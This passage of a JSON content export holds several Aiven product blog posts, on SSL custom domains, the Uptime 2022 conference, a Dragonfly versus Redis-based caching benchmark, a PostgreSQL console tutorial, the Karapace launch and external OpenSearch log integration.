Karapace"},"slug":{"_type":"slug","current":"/blog/what-is-karapace"},"subtitle":"Apache Kafka® and Karapace together can bring your application to a whole new level. Find out more about the magic that is the schema registry!","title":"What is Karapace?"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4x1KkpGw99tqSIEMkfAWxE","_rev":"cEPH2uRN58AU2lp9QO7mrB","_type":"post","_updatedAt":"2022-09-08T16:19:18Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"We've just rolled out a new feature in Aiven: **custom domains with valid SSL certificates for web frontends**.\n\nLast week we introduced valid SSL certificates from the [Let's Encrypt](https://letsencrypt.org/) for our [Grafana](/grafana) and [Kibana (Elasticsearch frontend)](/opensearch) services in Aiven.  This allows your browser to immediately recognize and trust the web frontend services you launch from Aiven which we host at domains like grafana.my-project.aivencloud.com.  Previously the services' certificates were signed by Aiven's own CA which caused web browsers to prompt a warning.\n\nWith the launch of the _Custom Domains_ feature today you can create a [CNAME](https://en.wikipedia.org/wiki/CNAME_record) in your own domain pointing to your Aiven service.  Once the CNAME is set up you can register it in Aiven using our [Web Console](https://console.aiven.io/) and we'll automatically set up a valid SSL certificate for it.  This way you can set up secure services like grafana.example.com and search.example.com in a just a few clicks in our console.\n\n### Try SSL-enabled custom domains for free\n\nYou can sign up for a free trial of our services at [aiven.io](/) and try all of our services with US$10 worth of free credits, including ones with SSL certificates for custom domains.\n\nThe SSL certificate feature is available in all Startup, Business and Premium plans for Grafana and Elasticsearch.  If the Let's Encrypt project lifts its SSL certificate creation limits we may be able to provide this service also for Hobbyist plans in the future.\n\n### We value your feedback\n\nWe are always interested in ways of making our service better. Please send your feedback and suggestions via\n[email](mailto:support@aiven.io), [Facebook](https://facebook.com/aivencloud),\n[LinkedIn](https://www.linkedin.com/company/aiven) or using our website's live chat.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"4hAyABhHhRRrLCRrQAMHR1","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-04-26T18:09:00.000Z","seo":{"metaDescription":"Now your browser will immediately recognize your web frontend services launched from Aiven. Find out how you can set up SSL-enabled custom domains here.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"SSL-enabled custom domains in Aiven for Grafana® and Kibana"},"slug":{"_type":"slug","current":"/blog/ssl-enabled-custom-domains-grafana-kibana"},"subtitle":"Now your browser will immediately recognize your web frontend services launched from Aiven. Find out how you can set up SSL-enabled custom domains here.","title":"SSL-enabled custom domains in Aiven for Grafana® and Kibana"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"536vpVSddDZLiORDT173j3","_rev":"QRl2cGoCgj0FlAhkRriT0P","_type":"post","_updatedAt":"2022-09-08T16:30:56Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"},{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"[Uptime 2022](https://uptime.aiven.io/ \"Uptime Website\") is coming in just a few months and we’re very excited to meet the open source data community on September 14-15! The conference will be held at Pakhuis de Zwijger in Amsterdam (we’re meeting in-person, yay!), and rest assured that the schedule will be packed with insightful content. \n\nOur program committee has put together a great selection of breakout sessions and keynotes on open source data tech topics.\n\n## Program Highlights \nFor our first edition of Uptime, we’re proud to have some truly inspiring keynotes. Jason Yee from Gremlin will kick off the first day with a keynote discussing data systems and the power of open source. And at the end of the first day, no one wants to miss out on the talk by Rob Barnes from HashiCorp on [data security and a zero trust approach](https://uptime.aiven.io/session/340500 \"Link to the session\"). \n\n[Amanda Brock from OpenUK](https://uptime.aiven.io/session/340504 \"Link to Amanda Brock's keynote\") will kick off the second day with a keynote that sounds thought-provoking: navigating the Open Source Definition in times of conflict.\n\nTo round off the conference, we’ll hear from [Dirk-Willem van Gulik](https://uptime.aiven.io/session/340506 \"Link to Dirk-Willem's keynote\"), Founder, first President and Member of the Apache Software Foundation.\n\n### Databases\nThere’s quite a selection of open source database talks, so it’s hard to pick favorites; but here are some delectable tidbits.\n\nFor those who are curious about databases in containers, we recommend checking out the sessions “[A journey to MySQL in K8s](https://uptime.aiven.io/session/340533 \"Link to Elisa's session\")” by Elisa Usai and “[Deploying PostgreSQL on Kubernetes](https://uptime.aiven.io/session/340532 \"Deploying PostgreSQL on Kubernetes\")” by Karen Jex. \n\nFor those interested in columnar databases and OLAP, this [ClickHouse talk](https://uptime.aiven.io/session/325413 \"ClickHouse talk\") by Olena Kutsenko is a great option to help you understand how to make the most of it. There is also [a session about Apache Pinot](https://uptime.aiven.io/session/324401 \"a session about Apache Pinot\") by Mark Needham and Karin Wolok. They will talk about the OLAP database designed for ultra low latency analytics and how it works with Apache Kafka. \n\nFor more PostgreSQL and MySQL goodness, be sure to check out “[Aggregates in PGX: An Adventure](https://uptime.aiven.io/session/340521 \"Aggregates in PGX: An Adventure\")” by James Blackwood-Sewell and “[Explaining EXPLAIN](https://uptime.aiven.io/session/325599 \"Explaining EXPLAIN\")” by Dave Stokes to learn how to optimize your queries. \n\n### Data Streaming\nThis is one of the hottest topics at Uptime 2022 and we hope you’re excited to learn about *all of the tools*. Christopher Hoult will give [an introduction to Benthos](https://uptime.aiven.io/session/325310 \"an introduction to Benthos\") - which promises \"fancy stream processing made operationally mundane\". This will be useful for learning some techniques that improve your real-time processing efforts and increase the business value you can derive from your data flows. \n\nFor all the fans of Apache Kafka and Apache Flink, we’ve got a great selection of talks. Check this out:\n\n- [De-siloing microservice data with change capture and Apache Flink](https://uptime.aiven.io/session/325428 \"De-siloing mircroservice data with change capture and Apache Flink\") by Frank Lyaruu\n- [Apache Kafka and Flink: Stateful Streaming Data Pipelines made easy with SQL](https://uptime.aiven.io/session/325396 \"Apache Kafka and Flink: Stateful Streaming Data Pipelines made easy with SQL\") by Francesco Tisiot\n- [Apache Flink - Only SQL](https://uptime.aiven.io/session/325604 \"Apache Flink - Only SQL\") by Martijn Visser\n- [Building FLiPN Stack Edge AI Applications](https://uptime.aiven.io/session/320757 \"Building FLiPN Stack Edge AI Applications\") by Gilles Barbier (this talk covers Apache NiFi and Apache Pulsar, which are both interesting to learn about!)\n- A lightning talk by Francesco Tisiot “[No pineapple on pizza! Streaming anomaly detection with Apache Kafka and Apache Flink](https://uptime.aiven.io/session/325620 \"No pineapple on pizza! Streaming anomaly detection with Apache Kafka and Apache Flink\")” \n\n### Metrics, Monitoring, and Observability\nFor some metrics and monitoring content, check out the lightning talks by Dave Stoke “[Monitoring Your Open Source Database with Percona Monitoring And Management for Beginners](https://uptime.aiven.io/session/325500 \"Monitoring Your Open Source Database with Percona Monitoring And Management for Beginners\")” and Steve Flanders “[5 Reasons Why OpenTelemetry is the Future of Observability](https://uptime.aiven.io/session/325011 \"5 Reasons Why OpenTelemetry is the Future of Observability\")”. Steve will also dive deeper into OpenTelemetry in his breakout session [about the components of OpenTelemetry and how you can get started](https://uptime.aiven.io/session/325010 \"about the components of OpenTelemetry and how you can get started\"). Daniel González Lopes will introduce you to Grafana k6 - a developer-centric and open-source load testing tool built for making performance testing a productive and enjoyable experience.\n\n### See you in Amsterdam! \nWe hope this blog post inspires you to join us on September 14-15 - [claim your ticket here](https://uptime.aiven.io/registration \"claim your ticket here\")! Rest assured, there will be plenty of opportunities to interact with fellow developers, learn from great speakers, and simply have fun! \n\nThis event is also a great opportunity for us to give back to the open source community, as we’ll be donating 100% from registration fees to open source foundations. \n\n*We’ll be sharing some sneak peeks of Uptime’s talks and activities on [Twitter](https://twitter.com/uptimecon \"Uptime Twitter\") soon, so look out for those. Use [#Uptime2022](https://twitter.com/hashtag/Uptime2022?src=hashtag_click \"Uptime Hashtag\") to follow the conversation and see the latest posts. *","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b1dc5d2e28064fc9956214c3dcf671de97cd203f-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-09T00:00:00.000Z","seo":{"metaDescription":"Check out this post for the program highlights for Uptime 2022 - the conference on open source data technology in the cloud, organized by Aiven.","metaImage":{"alt":"","asset":{"_ref":"image-b1dc5d2e28064fc9956214c3dcf671de97cd203f-1567x844-png","_type":"reference"}},"metaTitle":"What’s coming for Uptime 2022?"},"slug":{"_type":"slug","current":"/blog/whats-coming-for-uptime-2022"},"subtitle":"Check out this post for the program highlights for Uptime 2022 - the conference on open source data technology in the cloud, organized by Aiven.","title":"What’s coming for Uptime 2022?"} {"__i18n_lang":"en","_createdAt":"2024-03-20T08:15:27Z","_id":"55c0e955-9fa8-4da4-b2f4-577954684629","_rev":"aiEK3gvvqNId1oqOQZqjmM","_type":"post","_updatedAt":"2024-05-30T15:00:05Z","authors":[{"_key":"352dcd876ddc","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"Speed is essential in the world of data access. When milliseconds matter, choosing the right in-memory data store can make or break your application's performance. This article delves into a head-to-head comparison of two prominent contenders that Aiven offers: Aiven for Dragonfly and Aiven for Caching.\n\n[Aiven for Caching](https://aiven.io/caching) is based on the Open Source version of Redis®(1), and holds a dominant position in the in-memory data store realm. Its proven track record, wide adoption, and mature feature set makes it a trusted choice for many developers.\n\n[Aiven for Dragonfly](https://aiven.io/dragonfly) is based on Dragonfly, a fully Redis compatible database that has gained popularity since its release in 2022 with more than 22,000 stars on Github. Aiven for Dragonfly addresses the scalability limitation that Aiven for Caching has in terms of throughput and is proven to be more efficient than Redis for a larger workload.\n\n----\n*(1) Redis has recently announced a change in their license by transitioning from the open-source BSD to the more restrictive Server Side Public License (SSPLv1). Starting with Redis 7.4, all subsequent versions will be dual-licensed under the Redis Source Available License (RSALv2) and SSPLv1.*\n\n\n## The benchmark setup\n\nWe benchmarked Aiven for Caching and Aiven for Dragonfly in three different Aiven plans\n\n* Startup-56: 1 VM, 8 CPUs with 56gb available memory\n* Business-256: 2 dedicated VMs, 16 CPUs with 256gb available memory\n* Business-512: 2 dedicated VMs, 32 CPUs with 512gb available memory\n\nAll tests were run on the AWS environment in eu-west-1 region.\n\nFor each scenario, the database was preloaded with half of the maximum memory size available. Benchmark tests were run three times, increasing the amount of client threads each time.\n\nBenchmarking was done using [memtier_benchmark](https://github.com/RedisLabs/memtier_benchmark), the industry standard benchmarking tool for in-memory databases. It was deployed on a m6a.16xlarge instance with 64 cores to ensure the benchmarking tool itself is not the bottleneck, and used the same AWS eu-west-1 cloud region, to ensure maximum network bandwidth. \n\nThe following command was used for testing, tweaking the `threads` and `clients` parameters to achieve the maximum QPS throughput.\n\n`memtier_benchmark --host \u003chost_name\u003e --port \u003cport_number\u003e --tls --cacert \u003ccertificate_path\u003e --threads \u003cthreads\u003e --client \u003cclients\u003e --data-size 256 --ratio=1:1 --test-time 120` \n\n\n\n## The results\n\n### Throughput\n\nThroughput is the key metrics to dictate the performance of an in-memory database. And in this arena, Dragonfly clearly outmuscles Redis®. Our benchmarks reveal that Dragonfly can leverage all available CPUs, while Redis encounters bottlenecks and is only able to utilize a fraction of available CPU as CPU count rises. This translates to a **staggering 7x throughput advantage for Dragonfly**, across all our tests. Even more impressive, Dragonfly achieves this while **maintaining sub-5ms latency**. So, for applications demanding the highest processing power, Dragonfly might be the undisputed champion. Also, a higher throughput number can be achieved with both Redis and Dragonfly by pipelining requests on the client side.\n\n![Comparison throughput number between Aiven for Dragonfly vs Aiven for Caching](https://cdn.sanity.io/images/sczeoy4w/production/006f77b0f1ee2cb3525ad7f461cd1469e02f9b59-2500x1308.png)\n\n### Latency\n\nWhen choosing an in-memory database, response latency is crucial. Across our benchmarks, Aiven for Caching delivered **slightly lower p50 and p99 latency** compared to Aiven for Dragonfly. This advantage widened when pushing both clusters to their limits with increased client threads. However, Dragonfly still manages to maintain a sub 5ms latency despite having a significantly larger throughput number. If raw speed is your top priority under very specific workloads, Redis® might be worth considering. However, for well-rounded performance and scalability, Dragonfly is a compelling choice.\n\n![Comparison latency between Aiven for Dragonfly vs Aiven for Caching](https://cdn.sanity.io/images/sczeoy4w/production/0659d0d2d42166ee5e6338b6b027d6927117fe5c-2500x1308.jpg)\n\n### Snapshotting\n\nWhile Dragonfly boasts twice the speed for snapshotting, it faces a trade-off with a 30% throughput dip during the process. Conversely, Redis® prioritizes consistency. In a multi-core plan, Redis® maintains zero performance impact but with slower snapshot times.\n\n\n### Memory Efficiency\n\nDespite loading both clusters with only half their available memory, Aiven for Dragonfly compresses data and consistently consumes 25% less memory than Aiven for Caching. This efficiency shines for users looking to maximize performance on resource-constrained systems or when dealing with massive datasets.\n\nFor more info about memory efficiency in Dragonfly, see Dragonfly’s [Dashtable doc](https://github.com/dragonflydb/dragonfly/blob/main/docs/dashtable.md).\n\n\n## Aiven for Dragonfly vs. Aiven for Caching: The conclusion\n\nThis benchmark sheds light on the distinct strengths of Aiven for Dragonfly and Aiven for Caching, two powerful in-memory data stores. \n\nAiven for Dragonfly, the rising star, impresses with its raw performance and throughput. Its ability to leverage all available CPUs translates to handling millions of operations per second efficiently. This makes it a compelling choice for applications demanding high-velocity data access. \n\nAiven for Caching, the seasoned veteran, boasts an established reputation for exceptional latency performance. However, the new Redis licensing model raises concerns about its future and long-term impact on community collaboration.\n\nUltimately, the ideal contender depends on your specific needs. Consider factors like: \n\n* Scalability, performance requirements and workload: Dragonfly consistently impressed in our benchmarks when dealing with large amounts of data and demanding tasks. \n* Cost considerations and community support: While Redis® has a larger, well-established community, Dragonfly can be a more cost-effective option for handling big jobs.\n\nBy carefully weighing these factors, you can select the data store that empowers your application to thrive. Sign in to [Aiven Console](https://console.aiven.io) to get started with Aiven for Dragonfly or Aiven for Caching.\n\n-------\n*(\\*) Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven.*\n","mainImage":{"_type":"mainImage","asset":{"_ref":"image-239c117f38fd773df45259418d0fcf9a63ffba37-1567x844-png","_type":"reference"}},"publishedAt":"2024-05-30T15:00:00.000Z","slug":{"_type":"slug","current":"/blog/aiven-for-dragonfly-vs-aiven-for-caching-benchmarking"},"subtitle":"Aiven offers two powerful in-memory data stores - Aiven for Dragonfly and Aiven for Caching. In this post we help you make the optimal choice for your project.","title":"Aiven for Dragonfly vs Aiven for Caching benchmarking"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"56t2NYsyR3QoiIYqGfD0aR","_rev":"ejVwHgKe5k9eDWbchuGzb6","_type":"post","_updatedAt":"2024-07-11T08:47:00Z","authors":[{"_key":"MtPf0fA4gEsTHRgE5bHjI","_ref":"MtPf0fA4gEsTHRgE5bHjI","_type":"reference"}],"body":"UPDATE: You'll find [instructions for getting started with Aiven for PostgreSQL](https://aiven.io/docs/tools/cli/service.html#avn-service-create) in the Aiven Developer Portal\n\nHere's a short overview of the Aiven for PostgreSQL's [web console](https://console.aiven.io/). The console is where the magic happens and you can launch your fully managed databases in seconds!\n\n_**Developers:** We also provide a full HTTP [REST API](https://aiven.io/docs/tools/api) and a powerful [command-line client](https://github.com/aiven/aiven-client)._\n\n\u003ca name=\"more\"\u003e\u003c/a\u003e\n\n### Sign-up\n\n[Signing up](https://console.aiven.io/signup) to Aiven is simple and only requires your name, email address and a choice of password. Account is activated by clicking an activation link sent via email immediately after submitting the signup form.\n\n![Signing up to the Aiven for PostgreSQL service](//cdn.sanity.io/images/sczeoy4w/production/61029a2ce086c9cb6bc3f6078cb67a14cb68e99c-400x255.png)\n\nIf you already have an account, you can [login directly](https://console.aiven.io/login).\n\n![Logging into PostgreSQL](//cdn.sanity.io/images/sczeoy4w/production/73859f81374aa90aeec53e4d0ab33daddb4dd22b-400x255.png)\n\n### Creating your first database\n\nAfter logging in, you will see an overview of the services you have created. The current billing estimate is shown in the top right corner.\n\n![PostgreSQL service status](//cdn.sanity.io/images/sczeoy4w/production/591263e1cb3066712b992ea30c8906a29f698868-400x248.png)\n\nServices can be temporarily powered off (shown with a grey icon above) when not needed and fully restored to the exact same state at a later time. Services that are powered off do not generate charges.\n\nWhen you first login, the services list will be empty and a new database can be created by clicking the _Create a new service_ button.\n\nYou will be prompted with a name for the service, the service plan and the destination cloud where to host the service.\n\nThe plan defines how much hardware resources your database instances will have, length of backup history, high-availability enabled or not, among a few other things. The full plan details are available on the [aiven.io](https://aiven.io/#services) website.\n\nThe destination cloud setting defines the initial location where the service is hosted at. Note that this selection is easily revisited later by _migrating_ the entire service from one destination to another.\n\n![Creating a PostgreSQL database service](//cdn.sanity.io/images/sczeoy4w/production/592abfce140048a450ea004b88ba36dcc5eb4777-400x248.png)\n\nSince this is the first service that you are creating, you need to enter billing information. Note that Aiven does not store your credit card information directly. The credit card details are processed by [Stripe](https://stripe.com/) and stored [safely](https://stripe.com/docs/security) in their system. Stripe is one of the biggest credit card payment service providers. New services created in the same project will automatically use the same payment information from this point on.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/d053ea088b1aed8e3207472a2992c8be907bce3c-400x251.png)\n\nOnce the payment details have been entered, the service will automatically launch and will be running in a moment. Clicking on the name of the service in the service list will show you further service details:\n\n![Aiven for PostgreSQL database service overview](//cdn.sanity.io/images/sczeoy4w/production/8427ebf77c139aed47532d45292b4d1433ad0b28-400x248.png)\n\nThis view shows you the connection parameters that can be copy-pasted to your application. A general service status is shown below the connection parameters. The above screenshot shows the service as _RUNNING_, meaning everything is OK. The status will show _REBUILDING_ when the service is being launched, migrated to another location or being upgraded.\n\n### High-availability\n\nWhen a database node malfunctions for any reason, it is replaced automatically with a new one. For example, if a the cloud provider's hardware fails, Aiven immediately detects the failure and starts building a replacement node. The new node is restored from backups to the same state where it was before the failure and gets connected to the other nodes.\n\nWhen using a service plan with high-availability enabled, in case of a standby-node failure, you will not notice anything special, just the service status will change to _REBUILDING_ for a short while. If the failed node was the active database master, there will be a short moment when the database is not accessible as master is confirmed non-functional and the already running standby-node is promoted as the new master. After the promotion a new standby node is created automatically and the situation will return back to normal.\n\n### Online upgrades and migration between clouds\n\nBelow the status you'll find a compact collection of actions you can perform for the service.\n\nOne of the more exciting features is our automatic online migration between different locations and cloud providers. A running service can be migrated from cloud to cloud simply by clicking the _Migrate_ button and choosing a new home for the service. Our list of supported hosting locations is pretty extensive, as can bee seen below (with a sneak peek of the upcoming [DigitalOcean](https://www.digitalocean.com/) regions!).\n\n![Migrating a PostgreSQL service to another cloud](//cdn.sanity.io/images/sczeoy4w/production/d0c0190941f57ed98c946bd44cd7321ed3f36629-400x256.png)\n\nSelecting a new home for your service will automatically move the service safely one node at a time to the new location. The service will remain available during the whole transition period. The service status will report _REBUILDING_ during the time the data is being transferred. Please note that the IP address to which the service's DNS address points to will change when switching between cloud providers.\n\nUpgrading the plan is as easy as the migration. Just click _Upgrade_, select a new plan and the data will automatically be migrated to new beefier nodes.\n\n![Upgrading PostgreSQL service plan](//cdn.sanity.io/images/sczeoy4w/production/964346168f16270509994e2d692e29e7cdcfbf40-400x245.png)\n\n### SQL statistics\n\nThe SQL activity in your database can be viewed in a couple of different ways. First is the _Query Statistics_ tab that shows how many times each kind of query has been executed, how long they took, etc. The data can be sorted by clicking the column headings: first click will choose the sorting criteria and the second click will reverse the sorting order.\n\nYou can reset the statistics and start collecting from an empty state by clicking the _Reset stats_ button. This can help you for example asses impact of a added or changed index to query performance.\n\n![Sortable database query statistics](//cdn.sanity.io/images/sczeoy4w/production/45b2925c19c727116e33a4ed12c07b14483d1c85-400x247.png)\n\nThe currently running queries are visible under the _Current Queries_ tab. Note that it is common that SQL queries do not take more than a millisecond or two to execute, so this view can often be empty although there is a lot of activity in the database.\n\n![Currently running queries for a database](//cdn.sanity.io/images/sczeoy4w/production/47067501a42caff8d31c2bf01f99bf5b21227c62-400x246.png)\n\n### Automatic real-time backups\n\nFinally, there is the _Backups_ tab that shows the list of periodic full backups taken from the database. In addition to full backups, Aiven constantly stores an incremental stream of the latest transactions _(PostgreSQL write-ahead-log, WAL)_ along with the backups. This allows restoring the the database not just to the time of the latest full backup, but also to any point in time between backups. \n\n![List of backups for a service](//cdn.sanity.io/images/sczeoy4w/production/c39d9b29746a88e7d67da02b0c5b37b43d21a385-400x247.png)\n\nThe backups are stored in the corresponding cloud provider's \"object storage\" (e.g. [Amazon S3](https://aws.amazon.com/s3/)) encrypted. These are highly redundant and reliable services for long-term data storage.\n\nAiven keeps your data encrypted _all the time_. The data disk containing the database is encrypted. The full and incremental backups are encrypted before they are stored to the object storage. Also the real-time replication stream between the database master and the standby node(s) is encrypted. Your client connections to the database are always required to be encrypted.\n\nYou will not need to worry about the backups. Everything is automated.\n\n### Restricting access to the database\n\nOnce the service is running, it is a good idea to restrict the network addresses that can be used to connect to the database, to provide an extra layer of security. Click the _Change_ button beside _Allowed IP addresses_ to enter a list of network addresses or sub-network ranges. The changes will take effect immediately after saving the changes.\n\n![Changing allowed IP addresses](//cdn.sanity.io/images/sczeoy4w/production/65c2ce0c4a7a4b7d8cd1a2e8fee8f572743a5fae-400x256.png)\n\n### Billing and project members\n\nA quick word about our billing model: Each service is billed based on the number of hours it has been running. An invoice is generated monthly and automatically billed from the credit card assigned to the project. Staying on track about the billing is simple as there is a billing estimate that is shown in the main service view and is updated hourly.\n\nEach project can have multiple members, just click the _Invite user_ in the project members view and enter the email address of the new member. Please note that every project member has privileges to create and terminate services and those services will be charged from the credit card attached to the project.\n\n![Project members view](//cdn.sanity.io/images/sczeoy4w/production/5f2dea978741a9f56c5e79d48e82ba49e0892f36-400x246.png)\n\n![Inviting a user to join a project](//cdn.sanity.io/images/sczeoy4w/production/031333aa209f7c6dd6daaccc9e488564326395bb-400x247.png)\n\nTo get your database started, just head to [aiven.io](https://aiven.io/)!\n\n## Further reading\n\n- [Future PostgreSQL: Improvement to the Replication Protocol](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol)\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [TypeScript, react-hook-form, zod: blissful forms](https://aiven.io/blog/typescript-react-hook-form-zod)","categories":[{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-01-28T10:39:00.001Z","seo":{"metaDescription":"Our in-depth tutorial covers multiple aspects of setting up and running Aiven for PostgreSQL through out platform. Find out just how easy it is here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® tutorial"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-tutorial"},"subtitle":"Our in-depth tutorial covers multiple aspects of setting up and running Aiven for PostgreSQL through out platform. Find out just how easy it is here.","title":"Aiven for PostgreSQL® tutorial"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5NEOsK2V0ZgM3dliG2LZbz","_rev":"THDGXgbtbTWNUZ8wxZpYy3","_type":"post","_updatedAt":"2023-05-15T13:32:15Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"We’re excited to announce the launch of [Karapace](https://karapace.io/), a replacement for Apache Kafka REST and the Schema Registry.\n\n## An open-source alternative to Schema Registry and Apache Kafka REST proxy\n\nKarapace is a fully open source tool developed by Aiven. Karapace’s functionality aims to be 1:1 compatible with the existing Confluent Schema Registry and the Apache Kafka REST proxy, and it works on both client and server sides. \n\nOn the technical side, Karapace represents moderate memory consumption and is built with an asynchronous architecture. This makes Karapace a lightweight and stable tool, and working with Apache Kafka gets just a little easier.\n\nAs an open-source replacement for proprietary solutions, Karapace helps you to avoid vendor lock-in.\n\n## Karapace functionality\nKarapace currently provides the following functionality:\n\n- A central repository for storing schemas\n- Serialization and deserialization of messages\n- Version history of Kafka schemas\n- A RESTful interface for your Kafka cluster\n\nKarapace can also produce and consume messages and handle cluster administration tasks.\n\n## Getting started with Karapace\nTo enable Schema Registry or REST proxy for your Aiven for Kafka plans, go to the Overview page of your Aiven for Apache Kafka service, and enable the features.\n\n![enable-karapace](//cdn.sanity.io/images/sczeoy4w/production/d0fc6a3dd2f8891c550eeea69ccb43343fca6421-793x248.png)\n\n## Contribute to Karapace\nAiven welcomes contributions to the project! Go the the Karapace repo and [have a look at the open issues](https://github.com/aiven/karapace/issues) to see if something catches your fancy.\n\n## Wrapping up\n\nWith Karapace, you have a few more options for managing Apache Kafka message schemas and administering your Apache Kafka clusters. \n\nremember to follow our [blog](https://aiven.io/blog) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"alt":"","asset":{"_ref":"image-dcb43f03f129a6edf57628b2357430a05cd42fdc-1567x844-png","_type":"reference"}},"publishedAt":"2020-07-08T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Karapace is the only open-source, drop-in alternative to Schema Registry and Kafka® REST. Read to find out more about Aiven's open-source contribution.","metaImage":{"alt":"","asset":{"_ref":"image-dcb43f03f129a6edf57628b2357430a05cd42fdc-1567x844-png","_type":"reference"}},"metaTitle":"Aiven's Karapace simplifies Kafka schema and cluster management"},"slug":{"_type":"slug","current":"/blog/aiven-launches-karapace-for-kafka-schema-and-cluster-management"},"subtitle":"Karapace is the only open-source, drop-in alternative to Schema Registry and Kafka® REST. Read to find out more about Aiven's open-source contribution.","title":"Aiven launches Karapace for Apache Kafka® schema and cluster management"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5Xf8CsI3dBne5pxEmfxijU","_rev":"jEln45CgOQD4spzxeyue7F","_type":"post","_updatedAt":"2024-07-17T11:48:54Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"In April, we announced our [syslog integration](https://aiven.io/blog/syslog-output-supported-on-the-aiven-platform) for sending your logs to an external service and that we'd soon be following it up with another. Well, it's here; __we now support sending Aiven service logs to external OpenSearch (or Elasticsearch) services.__\n\nWith this addition, you now have four options to get your Aiven service logs. You can get started with our latest option by following the steps outlined in our [help article](https://help.aiven.io/en/articles/3003760-external-elasticsearch-log-integration); but, let's check out some of the basics before you do.\n\n### A look inside...\nSending your logs to an external OpenSearch (or Elasticsearch) service works on the same principle as our other [logging integrations](https://help.aiven.io/en/articles/2933115-remote-syslog-integration) which use the ```rsyslog``` protocol. This particlar integration works in the following way:\n\n\u003e The external OpenSearch integration works by sending the log entries as JSON documents to an OpenSearch index, named as ```prefix-YYYY-MM-DD```.\n\nFields that are passed to the new index include these fields:\n* ```HOSTNAME``` = name of service + name of node\n* ```MESSAGE``` = actual log message\n* ```SESSION_ID``` = ID of the running session\n* ```SYSTEMD_UNIT``` = linux service (the actual systemd service name)\n* ```TIMESTAMP``` = time the message was logged\n\nHere's an example message, sent from a PostgreSQL service:\n```\n {\n \"_index\" : \"logs-2019-05-31\",\n \"_type\" : \"journal_msg\",\n \"_id\" : \"YD40EFzCwZCbzWQxl4z8\", #fake, for demo purposes\n \"_score\" : 1.0,\n \"_source\" : {\n \"HOSTNAME\" : \"pg-1\",\n \"SYSTEMD_UNIT\" : \"postgresql-11.service\",\n \"MESSAGE\" : \"user=,db=,app=,client= LOG: listening on IPv6 address \\\"::\\\", port 22889\",\n \"timestamp\" : \"2019-05-31T05:40:46.020508\"\n }\n },\n```\n\n## Wrapping up\nOur latest logging integration brings the number of available logging options to 4. In addition to integrating with external OpenSearch (or Elasticsearch) services, you can:\n\n1. access the [past two days' logs via our console, API, or CLI](https://aiven.io/docs/platform/howto/list-monitoring#view-service-logs);\n2. integrate your logging with one of [Aiven's own OpenSearch services](https://help.aiven.io/en/articles/2090163-getting-started-with-elasticsearch-log-integration) for unlimited retention right in Aiven;\n3. or use our [syslog integration](https://help.aiven.io/en/articles/2933115-remote-syslog-integration).\n\nSend your Aiven service metrics and logs to AWS CloudWatch with [the Aiven Amazon CloudWatch integration](https://aiven.io/blog/watch-your-aiven-metrics-with-cloudwatch).\n\nAs things evolve, feel free to stay up to date with our [blog](https://aiven.io/blog/feed.xml) or [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or 